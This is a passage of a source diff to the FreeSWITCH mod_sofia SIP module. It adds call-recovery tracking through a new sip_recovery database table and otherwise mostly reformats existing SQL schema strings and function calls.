+ if ((extension = switch_caller_extension_new(session, "recovery", "recovery")) == 0) {
+ abort();
+ }
+
+ if ((callflow = switch_xml_child(xml, "callflow")) && (x_extension = switch_xml_child(callflow, "extension"))) {
+ for (param = switch_xml_child(x_extension, "application"); param; param = param->next) {
+ const char *var = switch_xml_attr_soft(param, "app_name");
+ const char *val = switch_xml_attr_soft(param, "app_data");
+ switch_caller_extension_add_application(session, extension, var, val);
+ }
+ }
+
+ switch_channel_set_caller_extension(channel, extension);
+ }
+
+ switch_channel_set_state(channel, CS_INIT);
+ }
+
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Resurrecting fallen channel %s\n", switch_channel_get_name(channel));
+
+ switch_core_session_thread_launch(session);
+ switch_xml_free(xml);
+
+ h->total++;
+
+ return 0;
+
+}
+
+int sofia_glue_recover(switch_bool_t flush)
+{
+ switch_hash_index_t *hi;
+ const void *var;
+ void *val;
+ sofia_profile_t *profile;
+ char *sql;
+ int r = 0;
+
+ switch_mutex_lock(mod_sofia_globals.hash_mutex);
+ if (mod_sofia_globals.profile_hash) {
+ for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
+ switch_hash_this(hi, &var, NULL, &val);
+
+ if ((profile = (sofia_profile_t *) val)) {
+ struct recover_helper h = { 0 };
+ h.profile = profile;
+ h.total = 0;
+
+ if (strcmp((char *) var, profile->name)) {
+ continue;
+ }
+
+ if (flush) {
+ sql = switch_mprintf("delete from sip_recovery where profile_name='%q'", profile->name);
+ sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
+ } else {
+
+ sql = switch_mprintf("select profile_name, hostname, uuid, metadata "
+ "from sip_recovery where runtime_uuid!='%q' and profile_name='%q'", switch_core_get_uuid(), profile->name);
+
+ sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, recover_callback, &h);
+ r += h.total;
+ free(sql);
+ sql = NULL;
+
+ sql = switch_mprintf("select profile_name, hostname, uuid "
+ "from sip_recovery where runtime_uuid!='%q' and profile_name='%q'", switch_core_get_uuid(), profile->name);
+
+ sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, rebridge_callback, NULL);
+ free(sql);
+ sql = NULL;
+
+ sql = switch_mprintf("delete "
+ "from sip_recovery where runtime_uuid!='%q' and profile_name='%q'", switch_core_get_uuid(), profile->name);
+
+ sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
+ }
+ }
+ }
+ }
+ switch_mutex_unlock(mod_sofia_globals.hash_mutex);
+
+ return r;
+}
+
+void sofia_glue_tech_untrack(sofia_profile_t *profile, switch_core_session_t *session, switch_bool_t force)
+{
+ char *sql;
+ private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
+
+ if (!sofia_test_pflag(profile, PFLAG_TRACK_CALLS) || (sofia_test_flag(tech_pvt, TFLAG_RECOVERING))) {
+ return;
+ }
+
+ if (sofia_test_pflag(profile, PFLAG_TRACK_CALLS) && (sofia_test_flag(tech_pvt, TFLAG_TRACKED) || force)) {
+
+ if (force) {
+ sql = switch_mprintf("delete from sip_recovery where uuid='%q'", switch_core_session_get_uuid(session));
+
+ } else {
+ sql = switch_mprintf("delete from sip_recovery where runtime_uuid='%q' and uuid='%q'",
+ switch_core_get_uuid(), switch_core_session_get_uuid(session));
+ }
+ sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
+ sofia_clear_flag(tech_pvt, TFLAG_TRACKED);
+ }
+}
+
+void sofia_glue_tech_track(sofia_profile_t *profile, switch_core_session_t *session)
+{
+ switch_event_t *event;
+ private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
+
+ if (!sofia_test_pflag(profile, PFLAG_TRACK_CALLS) || sofia_test_flag(tech_pvt, TFLAG_RECOVERING)) {
+ return;
+ }
+
+ if (sofia_test_flag(tech_pvt, TFLAG_TRACKED)) {
+ sofia_glue_tech_untrack(profile, session, SWITCH_TRUE);
+ }
+
+ if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_DATA) == SWITCH_STATUS_SUCCESS) {
+ switch_xml_t cdr = NULL;
+ char *xml_cdr_text = NULL;
+
+ if (switch_ivr_generate_xml_cdr(session, &cdr) == SWITCH_STATUS_SUCCESS) {
+ xml_cdr_text = switch_xml_toxml(cdr, SWITCH_FALSE);
+ switch_xml_free(cdr);
+ }
+
+ if (xml_cdr_text) {
+ char *sql;
+ sql = switch_mprintf("insert into sip_recovery (runtime_uuid, profile_name, hostname, uuid, metadata) values ('%q','%q','%q','%q','%q')",
+ switch_core_get_uuid(), profile->name, mod_sofia_globals.hostname, switch_core_session_get_uuid(session), xml_cdr_text);
+
+ sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
+ free(xml_cdr_text);
+ sofia_set_flag(tech_pvt, TFLAG_TRACKED);
+ }
+
+ }
+
+}
+
int sofia_glue_init_sql(sofia_profile_t *profile)
{
char *test_sql = NULL;
@@ -3858,20 +4293,21 @@
" orig_hostname VARCHAR(255)\n"
");\n";
+ char recovery_sql[] =
+ "CREATE TABLE sip_recovery (\n"
+ " runtime_uuid VARCHAR(255),\n"
+ " profile_name VARCHAR(255),\n" " hostname VARCHAR(255),\n" " uuid VARCHAR(255),\n" " metadata text\n" ");\n";
char pres_sql[] =
"CREATE TABLE sip_presence (\n"
" sip_user VARCHAR(255),\n"
" sip_host VARCHAR(255),\n"
" status VARCHAR(255),\n"
- " rpid VARCHAR(255),\n"
- " expires INTEGER,\n"
- " user_agent VARCHAR(255),\n"
- " profile_name VARCHAR(255),\n"
- " hostname VARCHAR(255),\n"
- " network_ip VARCHAR(255),\n"
- " network_port VARCHAR(6)\n"
- ");\n";
+ " rpid VARCHAR(255),\n"
+ " expires INTEGER,\n"
+ " user_agent VARCHAR(255),\n"
+ " profile_name VARCHAR(255),\n"
+ " hostname VARCHAR(255),\n" " network_ip VARCHAR(255),\n" " network_port VARCHAR(6)\n" ");\n";
char dialog_sql[] =
"CREATE TABLE sip_dialogs (\n"
@@ -3883,18 +4319,15 @@
" sip_from_host VARCHAR(255),\n"
" contact_user VARCHAR(255),\n"
" contact_host VARCHAR(255),\n"
- " state VARCHAR(255),\n"
- " direction VARCHAR(255),\n"
- " user_agent VARCHAR(255),\n"
+ " state VARCHAR(255),\n"
+ " direction VARCHAR(255),\n"
+ " user_agent VARCHAR(255),\n"
" profile_name VARCHAR(255),\n"
- " hostname VARCHAR(255),\n"
- " contact VARCHAR(255),\n"
- " presence_id VARCHAR(255),\n"
- " presence_data VARCHAR(255),\n"
- " call_info VARCHAR(255),\n"
- " call_info_state VARCHAR(255),\n"
- " expires INTEGER default 0\n"
- ");\n";
+ " hostname VARCHAR(255),\n"
+ " contact VARCHAR(255),\n"
+ " presence_id VARCHAR(255),\n"
+ " presence_data VARCHAR(255),\n"
+ " call_info VARCHAR(255),\n" " call_info_state VARCHAR(255),\n" " expires INTEGER default 0\n" ");\n";
char sub_sql[] =
"CREATE TABLE sip_subscriptions (\n"
@@ -3909,45 +4342,32 @@
" call_id VARCHAR(255),\n"
" full_from VARCHAR(255),\n"
" full_via VARCHAR(255),\n"
- " expires INTEGER,\n"
- " user_agent VARCHAR(255),\n"
+ " expires INTEGER,\n"
+ " user_agent VARCHAR(255),\n"
" accept VARCHAR(255),\n"
" profile_name VARCHAR(255),\n"
- " hostname VARCHAR(255),\n"
- " network_port VARCHAR(6),\n"
- " network_ip VARCHAR(255)\n"
- ");\n";
+ " hostname VARCHAR(255),\n" " network_port VARCHAR(6),\n" " network_ip VARCHAR(255)\n" ");\n";
- char auth_sql[] =
- "CREATE TABLE sip_authentication (\n"
- " nonce VARCHAR(255),\n"
- " expires INTEGER,"
- " profile_name VARCHAR(255),\n"
- " hostname VARCHAR(255),\n"
- " last_nc INTEGER\n"
- ");\n";
+ char auth_sql[] =
+ "CREATE TABLE sip_authentication (\n"
+ " nonce VARCHAR(255),\n"
+ " expires INTEGER," " profile_name VARCHAR(255),\n" " hostname VARCHAR(255),\n" " last_nc INTEGER\n" ");\n";
/* should we move this glue to sofia_sla or keep it here where all db init happens? XXX MTK */
- char shared_appearance_sql[] =
+ char shared_appearance_sql[] =
"CREATE TABLE sip_shared_appearance_subscriptions (\n"
" subscriber VARCHAR(255),\n"
" call_id VARCHAR(255),\n"
" aor VARCHAR(255),\n"
" profile_name VARCHAR(255),\n"
- " hostname VARCHAR(255),\n"
- " contact_str VARCHAR(255),\n"
- " network_ip VARCHAR(255)\n"
- ");\n";
+ " hostname VARCHAR(255),\n" " contact_str VARCHAR(255),\n" " network_ip VARCHAR(255)\n" ");\n";
- char shared_appearance_dialogs_sql[] =
+ char shared_appearance_dialogs_sql[] =
"CREATE TABLE sip_shared_appearance_dialogs (\n"
" profile_name VARCHAR(255),\n"
" hostname VARCHAR(255),\n"
" contact_str VARCHAR(255),\n"
- " call_id VARCHAR(255),\n"
- " network_ip VARCHAR(255),\n"
- " expires INTEGER\n"
- ");\n";
+ " call_id VARCHAR(255),\n" " network_ip VARCHAR(255),\n" " expires INTEGER\n" ");\n";
if (switch_odbc_available() && profile->odbc_dsn) {
int x;
@@ -3996,7 +4416,7 @@
"create index ssd_contact_str on sip_shared_appearance_dialogs (contact_str)",
"create index ssd_call_id on sip_shared_appearance_dialogs (call_id)",
"create index ssd_expires on sip_shared_appearance_dialogs (expires)",
- NULL
+ NULL
};
@@ -4009,9 +4429,9 @@
switch_odbc_handle_destroy(&odbc_dbh);
return 0;
}
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Connected ODBC DSN: %s\n", profile->odbc_dsn);
-
+
test_sql = switch_mprintf("delete from sip_registrations where (contact like '%%TCP%%' "
"or status like '%%TCP%%' or status like '%%TLS%%') and hostname='%q' "
"and network_ip like '%%' and network_port like '%%' and sip_username "
@@ -4025,7 +4445,6 @@
}
-
if (sofia_test_pflag(profile, PFLAG_SQL_IN_TRANS)) {
char *test2 = switch_mprintf("%s;%s", test_sql, test_sql);
@@ -4033,15 +4452,15 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "GREAT SCOTT!!! Cannot execute batched statements!\n"
"If you are using mysql, make sure you are using MYODBC 3.51.18 or higher and enable FLAG_MULTI_STATEMENTS\n");
sofia_clear_pflag(profile, PFLAG_SQL_IN_TRANS);
-
+
}
free(test2);
}
- free(test_sql);
+ free(test_sql);
- test_sql = switch_mprintf("delete from sip_subscriptions where hostname='%q' and network_ip like '%%' and network_port like '%%'",
+ test_sql = switch_mprintf("delete from sip_subscriptions where hostname='%q' and network_ip like '%%' and network_port like '%%'",
mod_sofia_globals.hostname);
if (switch_odbc_handle_exec(odbc_dbh, test_sql, NULL, NULL) != SWITCH_ODBC_SUCCESS) {
@@ -4050,7 +4469,7 @@
}
free(test_sql);
- test_sql = switch_mprintf("delete from sip_dialogs where hostname='%q' and expires >= 0", mod_sofia_globals.hostname);
+ test_sql = switch_mprintf("delete from sip_dialogs where hostname='%q'", mod_sofia_globals.hostname);
if (switch_odbc_handle_exec(odbc_dbh, test_sql, NULL, NULL) != SWITCH_ODBC_SUCCESS) {
switch_odbc_handle_exec(odbc_dbh, "DROP TABLE sip_dialogs", NULL, NULL);
@@ -4091,6 +4510,18 @@
free(test_sql);
+
+ test_sql = switch_mprintf("select count(profile_name) from sip_recovery where hostname='%q'", mod_sofia_globals.hostname);
+
+ if (switch_odbc_handle_exec(odbc_dbh, test_sql, NULL, NULL) != SWITCH_ODBC_SUCCESS) {
+ switch_odbc_handle_exec(odbc_dbh, "DROP TABLE sip_recovery", NULL, NULL);
+ switch_odbc_handle_exec(odbc_dbh, recovery_sql, NULL, NULL);
+ }
+
+ free(test_sql);
+
+
+
for (x = 0; indexes[x]; x++) {
switch_odbc_handle_exec(odbc_dbh, indexes[x], NULL, NULL);
}
@@ -4113,12 +4544,12 @@
switch_core_db_test_reactive(db, test_sql, "DROP TABLE sip_registrations", reg_sql);
free(test_sql);
- test_sql = switch_mprintf("delete from sip_subscriptions where hostname='%q' and network_ip like '%%' or network_port like '%%'",
+ test_sql = switch_mprintf("delete from sip_subscriptions where hostname='%q' and network_ip like '%%' or network_port like '%%'",
mod_sofia_globals.hostname);
switch_core_db_test_reactive(db, test_sql, "DROP TABLE sip_subscriptions", sub_sql);
free(test_sql);
- test_sql = switch_mprintf("delete from sip_dialogs where hostname='%q' and expires > 0", mod_sofia_globals.hostname);
+ test_sql = switch_mprintf("delete from sip_dialogs where hostname='%q'", mod_sofia_globals.hostname);
switch_core_db_test_reactive(db, test_sql, "DROP TABLE sip_dialogs", dialog_sql);
free(test_sql);
@@ -4130,7 +4561,7 @@
switch_core_db_test_reactive(db, test_sql, "DROP TABLE sip_authentication", auth_sql);
free(test_sql);
-
+
test_sql = switch_mprintf("delete from sip_shared_appearance_subscriptions where contact_str = '' or hostname='%q' and network_ip like '%%'",
mod_sofia_globals.hostname);
switch_core_db_test_reactive(db, test_sql, "DROP TABLE sip_shared_appearance_subscriptions", shared_appearance_sql);
@@ -4139,31 +4570,29 @@
test_sql = switch_mprintf("delete from sip_shared_appearance_dialogs where contact_str = '' or hostname='%q'", mod_sofia_globals.hostname);
switch_core_db_test_reactive(db, test_sql, "DROP TABLE sip_shared_appearance_dialogs", shared_appearance_dialogs_sql);
free(test_sql);
-
- switch_core_db_exec(db, "create index if not exists ssa_hostname on sip_shared_appearance_subscriptions (hostname)",
- NULL, NULL, NULL);
- switch_core_db_exec(db, "create index if not exists ssa_subscriber on sip_shared_appearance_subscriptions (subscriber)",
- NULL, NULL, NULL);
- switch_core_db_exec(db, "create index if not exists ssa_profile_name on sip_shared_appearance_subscriptions (profile_name)",
- NULL, NULL, NULL);
+
+
+ test_sql = switch_mprintf("select count(profile_name) from sip_recovery where hostname='%q'", mod_sofia_globals.hostname);
+
+ switch_core_db_test_reactive(db, test_sql, "DROP TABLE sip_recovery", recovery_sql);
+ free(test_sql);
+
+
+ switch_core_db_exec(db, "create index if not exists ssa_hostname on sip_shared_appearance_subscriptions (hostname)", NULL, NULL, NULL);
+ switch_core_db_exec(db, "create index if not exists ssa_subscriber on sip_shared_appearance_subscriptions (subscriber)", NULL, NULL, NULL);
+ switch_core_db_exec(db, "create index if not exists ssa_profile_name on sip_shared_appearance_subscriptions (profile_name)", NULL, NULL, NULL);
switch_core_db_exec(db, "create index if not exists ssa_aor on sip_shared_appearance_subscriptions (aor)", NULL, NULL, NULL);
-
- switch_core_db_exec(db, "create index if not exists ssd_profile_name on sip_shared_appearance_dialogs (profile_name)",
- NULL, NULL, NULL);
- switch_core_db_exec(db, "create index if not exists ssd_hostname on sip_shared_appearance_dialogs (hostname)",
- NULL, NULL, NULL);
- switch_core_db_exec(db, "create index if not exists ssd_network_ip on sip_shared_appearance_dialogs (network_ip)",
- NULL, NULL, NULL);
- switch_core_db_exec(db, "create index if not exists ssd_contact_str on sip_shared_appearance_dialogs (contact_str)",
- NULL, NULL, NULL);
- switch_core_db_exec(db, "create index if not exists ssd_call_id on sip_shared_appearance_dialogs (call_id)",
- NULL, NULL, NULL);
- switch_core_db_exec(db, "create index if not exists ssd_expires on sip_shared_appearance_dialogs (expires)",
- NULL, NULL, NULL);
-
+ switch_core_db_exec(db, "create index if not exists ssd_profile_name on sip_shared_appearance_dialogs (profile_name)", NULL, NULL, NULL);
+ switch_core_db_exec(db, "create index if not exists ssd_hostname on sip_shared_appearance_dialogs (hostname)", NULL, NULL, NULL);
+ switch_core_db_exec(db, "create index if not exists ssd_network_ip on sip_shared_appearance_dialogs (network_ip)", NULL, NULL, NULL);
+ switch_core_db_exec(db, "create index if not exists ssd_contact_str on sip_shared_appearance_dialogs (contact_str)", NULL, NULL, NULL);
+ switch_core_db_exec(db, "create index if not exists ssd_call_id on sip_shared_appearance_dialogs (call_id)", NULL, NULL, NULL);
+ switch_core_db_exec(db, "create index if not exists ssd_expires on sip_shared_appearance_dialogs (expires)", NULL, NULL, NULL);
+
+
switch_core_db_exec(db, "create index if not exists sr_call_id on sip_registrations (call_id)", NULL, NULL, NULL);
switch_core_db_exec(db, "create index if not exists sr_sip_user on sip_registrations (sip_user)", NULL, NULL, NULL);
switch_core_db_exec(db, "create index if not exists sr_sip_host on sip_registrations (sip_host)", NULL, NULL, NULL);
@@ -4217,7 +4646,7 @@
return 1;
}
- return 0;
+ return 0;
}
@@ -4267,19 +4696,22 @@
switch_cache_db_handle_t *sofia_glue_get_db_handle(sofia_profile_t *profile)
{
- switch_cache_db_connection_options_t options = { {0} };
+ switch_cache_db_connection_options_t options = { {0}
+ };
switch_cache_db_handle_t *dbh = NULL;
-
+
if (!zstr(profile->odbc_dsn)) {
options.odbc_options.dsn = profile->odbc_dsn;
options.odbc_options.user = profile->odbc_user;
options.odbc_options.pass = profile->odbc_pass;
- if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
+ if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
+ dbh = NULL;
return dbh;
} else {
options.core_db_options.db_path = profile->dbname;
- if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
+ if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS)
+ dbh = NULL;
return dbh;
}
}
@@ -4300,7 +4732,7 @@
switch_cache_db_persistant_execute_trans(dbh, sql, 1);
end:
-
+
switch_cache_db_release_db_handle(&dbh);
if (mutex) {
@@ -4324,7 +4756,7 @@
switch_cache_db_execute_sql(dbh, sql, NULL);
end:
-
+
switch_cache_db_release_db_handle(&dbh);
if (mutex) {
@@ -4338,16 +4770,16 @@
switch_bool_t ret = SWITCH_FALSE;
char *errmsg = NULL;
switch_cache_db_handle_t *dbh = NULL;
-
+
if (mutex) {
switch_mutex_lock(mutex);
}
if (!(dbh = sofia_glue_get_db_handle(profile))) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
- goto end;
- }
-
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
+ goto end;
+ }
+
switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &errmsg);
if (errmsg) {
@@ -4373,16 +4805,16 @@
switch_cache_db_handle_t *dbh = NULL;
if (!(dbh = sofia_glue_get_db_handle(profile))) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
return NULL;
- }
+ }
if (mutex) {
switch_mutex_lock(mutex);
}
ret = switch_cache_db_execute_sql2str(dbh, sql, resbuf, len, NULL);
-
+
if (mutex) {
switch_mutex_unlock(mutex);
}
@@ -4440,7 +4872,7 @@
char *p;
if ((p = strchr(uri, ':'))) {
- return p+1;
+ return p + 1;
}
return uri;
@@ -4457,19 +4889,19 @@
}
return CID_TYPE_NONE;
-
+
}
/* all the values of the structure are initialized to NULL */
/* in case of failure the function returns NULL */
/* sofia_destination->route can be NULL */
-sofia_destination_t* sofia_glue_get_destination(char *data)
+sofia_destination_t *sofia_glue_get_destination(char *data)
{
sofia_destination_t *dst = NULL;
char *to = NULL;
char *contact = NULL;
- char *route = NULL;
- char *route_uri = NULL;
+ char *route = NULL;
+ char *route_uri = NULL;
char *eoc = NULL;
char *p = NULL;
@@ -4477,7 +4909,7 @@
return NULL;
}
- if (!(dst = (sofia_destination_t *)malloc(sizeof(sofia_destination_t)))) {
+ if (!(dst = (sofia_destination_t *) malloc(sizeof(sofia_destination_t)))) {
return NULL;
}
@@ -4493,7 +4925,7 @@
goto mem_fail;
}
- for (p = route; p && *p ; p++) {
+ for (p = route; p && *p; p++) {
if (*p == '>' || *p == ';') {
*p = '\0';
break;
@@ -4502,7 +4934,7 @@
switch_url_decode(route);
- if (!(route_uri = strdup(route))) {
+ if (!(route_uri = strdup(route))) {
goto mem_fail;
}
if ((p = strchr(route_uri, ','))) {
@@ -4510,28 +4942,28 @@
*p = '\0';
} while ((--p > route_uri) && *p == ' ');
}
- }
-
+ }
+
if (!(to = strdup(data))) {
goto mem_fail;
}
if ((eoc = strstr(to, ";fs_path="))) {
- *eoc++ = '>';
- *eoc = '\0';
+ *eoc++ = '>';
+ *eoc = '\0';
}
-
+
if ((p = strstr(contact, ";fs_"))) {
*p = '\0';
}
-
+
dst->contact = contact;
dst->to = to;
dst->route = route;
dst->route_uri = route_uri;
return dst;
-mem_fail:
+ mem_fail:
switch_safe_free(contact);
switch_safe_free(to);
switch_safe_free(route);
@@ -4551,7 +4983,8 @@
}
}
-switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype, const char *body, const char *o_contact, const char *network_ip)
+switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype,
+ const char *body, const char *o_contact, const char *network_ip)
{
char *id = NULL;
nua_handle_t *nh;
@@ -4559,7 +4992,7 @@
char *contact_str, *contact, *user_via = NULL;
char *route_uri = NULL;
- contact = sofia_glue_get_url_from_contact((char*) o_contact, 1);
+ contact = sofia_glue_get_url_from_contact((char *) o_contact, 1);
if (sofia_glue_check_nat(profile, network_ip)) {
char *ptr = NULL;
const char *transport_str = NULL;
@@ -4572,15 +5005,15 @@
sofia_transport_t transport = sofia_glue_str2transport(ptr);
transport_str = sofia_glue_transport2str(transport);
switch (transport) {
- case SOFIA_TRANSPORT_TCP:
- contact_str = profile->tcp_public_contact;
- break;
- case SOFIA_TRANSPORT_TCP_TLS:
- contact_str = profile->tls_public_contact;
- break;
- default:
- contact_str = profile->public_url;
- break;
+ case SOFIA_TRANSPORT_TCP:
+ contact_str = profile->tcp_public_contact;
+ break;
+ case SOFIA_TRANSPORT_TCP_TLS:
+ contact_str = profile->tls_public_contact;
+ break;
+ default:
+ contact_str = profile->public_url;
+ break;
}
user_via = sofia_glue_create_external_via(NULL, profile, transport);
} else {
@@ -4593,16 +5026,14 @@
id = switch_mprintf("sip:%s@%s", user, host);
}
- dst = sofia_glue_get_destination((char*) o_contact);
+ dst = sofia_glue_get_destination((char *) o_contact);
switch_assert(dst);
if (dst->route_uri) {
route_uri = sofia_glue_strip_uri(dst->route_uri);
}
- nh = nua_handle(profile->nua, NULL, NUTAG_URL(contact),
- SIPTAG_FROM_STR(id), SIPTAG_TO_STR(id),
- SIPTAG_CONTACT_STR(contact_str), TAG_END());
+ nh = nua_handle(profile->nua, NULL, NUTAG_URL(contact), SIPTAG_FROM_STR(id), SIPTAG_TO_STR(id), SIPTAG_CONTACT_STR(contact_str), TAG_END());
nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
nua_notify(nh,
@@ -4610,9 +5041,7 @@
TAG_IF(dst->route_uri, NUTAG_PROXY(route_uri)), TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)),
TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
TAG_IF(event, SIPTAG_EVENT_STR(event)),
- TAG_IF(contenttype, SIPTAG_CONTENT_TYPE_STR(contenttype)),
- TAG_IF(body, SIPTAG_PAYLOAD_STR(body)),
- TAG_END());
+ TAG_IF(contenttype, SIPTAG_CONTENT_TYPE_STR(contenttype)), TAG_IF(body, SIPTAG_PAYLOAD_STR(body)), TAG_END());
switch_safe_free(contact);
switch_safe_free(route_uri);
Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_presence.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_presence.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_presence.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -97,11 +97,12 @@
} else {
user = prof;
prof = NULL;
- }
+ }
if ((host = strchr(user, '@'))) {
*host++ = '\0';
- if (!prof) prof = host;
+ if (!prof)
+ prof = host;
}
if (!prof || !(profile = sofia_glue_find_profile(prof))) {
@@ -150,7 +151,7 @@
from = ffrom;
switch_safe_free(fp);
}
-
+
if (!(dst = sofia_glue_get_destination(buf))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error!\n");
goto end;
@@ -161,14 +162,12 @@
status = SWITCH_STATUS_SUCCESS;
/* if this cries, add contact here too, change the 1 to 0 and omit the safe_free */
msg_nh = nua_handle(profile->nua, NULL, TAG_IF(dst->route_uri, NUTAG_PROXY(dst->route_uri)), TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)),
- SIPTAG_FROM_STR(from), NUTAG_URL(contact),
- SIPTAG_TO_STR(dst->to), SIPTAG_CONTACT_STR(profile->url),
- TAG_END());
+ SIPTAG_FROM_STR(from), NUTAG_URL(contact), SIPTAG_TO_STR(dst->to), SIPTAG_CONTACT_STR(profile->url), TAG_END());
nua_handle_bind(msg_nh, &mod_sofia_globals.destroy_private);
nua_message(msg_nh, SIPTAG_CONTENT_TYPE_STR(ct), SIPTAG_PAYLOAD_STR(body), TAG_END());
-
-
- end:
+
+
+ end:
sofia_glue_free_destination(dst);
switch_safe_free(contact);
switch_safe_free(ffrom);
@@ -190,11 +189,10 @@
if (!mod_sofia_globals.profile_hash)
return;
-
- if ((sql = switch_mprintf(
- "select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,"
+
+ if ((sql = switch_mprintf("select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,"
"full_via,expires,user_agent,accept,profile_name,network_ip"
- ",-1,'unavailable','unavailable' from sip_subscriptions where expires > -1 and event='presence' and hostname='%q'",
+ ",-1,'unavailable','unavailable' from sip_subscriptions where expires > -1 and event='presence' and hostname='%q'",
mod_sofia_globals.hostname))) {
switch_mutex_lock(mod_sofia_globals.hash_mutex);
for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
@@ -218,7 +216,7 @@
{
struct resub_helper h = { 0 };
h.profile = profile;
-
+
if (sofia_glue_execute_sql_callback(profile, profile->ireg_mutex,
"select sip_user,sip_host,'Registered','unknown','' from sip_registrations",
sofia_presence_resub_callback, &h) != SWITCH_TRUE) {
@@ -227,7 +225,7 @@
if (sofia_glue_execute_sql_callback(profile, profile->ireg_mutex,
"select sub_to_user,sub_to_host,'Online','unknown',proto from sip_subscriptions "
- "where expires > -1 and proto='ext' or proto='user' or proto='conf'",
+ "where expires > -1 and proto='ext' or proto='user' or proto='conf'",
sofia_presence_resub_callback, &h) != SWITCH_TRUE) {
return;
}
@@ -336,15 +334,14 @@
}
stream.write_function(&stream, "\r\n");
-
+
sql = NULL;
if (for_everyone) {
sql = switch_mprintf("select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,"
"full_via,expires,user_agent,accept,profile_name,network_ip"
",'%q','%q' from sip_subscriptions where expires > -1 and event='message-summary' "
- "and sub_to_user='%q' and (sub_to_host='%q' or presence_hosts like '%%%q%%')",
- stream.data, host, user, host, host);
+ "and sub_to_user='%q' and (sub_to_host='%q' or presence_hosts like '%%%q%%')", stream.data, host, user, host, host);
} else if (sub_call_id) {
sql = switch_mprintf("select proto,sip_user,sip_host,sub_to_user,sub_to_host,event,contact,call_id,full_from,"
"full_via,expires,user_agent,accept,profile_name,network_ip"
@@ -358,17 +355,15 @@
sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, sofia_presence_mwi_callback, &h);
free(sql);
sql = NULL;
-
+
}
if (for_everyone) {
sql = switch_mprintf("select sip_user,sip_host,contact,profile_name,network_ip,'%q' "
- "from sip_registrations where mwi_user='%q' and mwi_host='%q'",
- stream.data, user, host);
+ "from sip_registrations where mwi_user='%q' and mwi_host='%q'", stream.data, user, host);
} else if (call_id) {
sql = switch_mprintf("select sip_user,sip_host,contact,profile_name,network_ip,'%q' "
- "from sip_registrations where mwi_user='%q' and mwi_host='%q' and call_id='%q'",
- stream.data, user, host, call_id);
+ "from sip_registrations where mwi_user='%q' and mwi_host='%q' and call_id='%q'", stream.data, user, host, call_id);
}
if (sql) {
@@ -417,7 +412,7 @@
if (status && !strcasecmp(status, "n/a")) {
status = NULL;
}
-
+
if (status && switch_stristr("CS_HANGUP", status)) {
status = "Call Ended";
}
@@ -425,7 +420,7 @@
if (rpid) {
rpid = sofia_presence_translate_rpid(rpid, status);
}
-
+
if (event->event_id == SWITCH_EVENT_ROSTER) {
struct presence_helper helper = { 0 };
@@ -433,8 +428,7 @@
return;
if (from) {
- sql = switch_mprintf(
- "select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,"
+ sql = switch_mprintf("select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,"
"sip_subscriptions.sub_to_user,sip_subscriptions.sub_to_host,sip_subscriptions.event,"
"sip_subscriptions.contact,sip_subscriptions.call_id,sip_subscriptions.full_from,"
"sip_subscriptions.full_via,sip_subscriptions.expires,sip_subscriptions.user_agent,"
@@ -443,11 +437,10 @@
"from sip_subscriptions left join sip_presence on "
"(sip_subscriptions.sub_to_user=sip_presence.sip_user and sip_subscriptions.sub_to_host=sip_presence.sip_host and "
